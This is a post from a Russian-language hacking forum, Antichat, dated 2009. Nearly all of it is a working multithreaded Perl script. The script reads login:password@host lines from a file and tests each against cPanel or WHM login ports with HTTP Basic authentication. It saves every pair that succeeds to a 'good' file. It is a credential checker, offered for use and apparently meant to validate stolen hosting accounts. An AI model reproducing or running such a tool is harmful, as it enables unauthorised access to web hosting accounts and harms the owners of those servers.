Показать сообщение отдельно

  #9  
Старый 04.02.2009, 23:26
Kaimi
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


Отправить сообщение для Kaimi с помощью ICQ
По умолчанию

Цитата:
Вы что задроты так код палировать?
А это мысль...

Код:
#!/usr/bin/perl -w
use strict;
use threads;
use threads::shared;
use IO::Socket;
use MIME::Base64();
use Fcntl ':flock';

my $accounts 	= 'accs.txt'; #Файл с акками login:pass@host
my $good 	= 'good.txt'; #Файл с прочеканными гуд акками
my $port 		= '2082'	; #WHM - 2086, Cpanel - 2082
my $timeout 	= 5		; #Таймаут
my $threads 	= 1		; #Потоки
$| 			= 1;

my @trl;

open ACS, "<", $accounts || die $!;
chomp(my @acc : shared = <ACS>);
close ACS;

my $size = scalar @acc;
my $i : shared = 0;

for(0..$threads-1) {$trl[$_] = threads->create(\&check, $_);}
for(@trl) { $_->join; }

sub check {
 while(@acc)
	{
	my ($cred, $host) = split /@/, shift @acc;
	my $s = sockme($host, $port);
	next if !$s;
	my $request = "GET / HTTP/1.0\n".
				  "Host: $host\n".
				  "User-Agent: Mozilla/5.0\n".
				  "Connection: close\n".
				  "Authorization: Basic ".MIME::Base64::encode($cred)."\n\n";
	print $s $request;
	read $s, my $answ, 128;
	$answ =~ /200 OK/ ? note($cred.':'.$host) : ();
	
	{lock($i);$i++;}
	print "[ ".sprintf("%.2f", ($i/$size)*100)."% ]\r";
	}
}

sub note {
 print localtime()." [+] $_[0]\n";
 open F, ">>", $good  || warn $!;
 flock F, 'LOCK_EX';
 print F $_[0]."\n";
 flock F, 'LOCK_UN';
 close F;
}

sub sockme {
 my $sock = new IO::Socket::INET 
		(
		PeerAddr 	=> $_[0],
   		PeerPort 	=> $_[1], 
   		PeerProto 	=> 'tcp', 
   		TimeOut 	=> $timeout,
		) || warn $!;
 return $sock ? $sock : 0;
}
Мб есть косяки...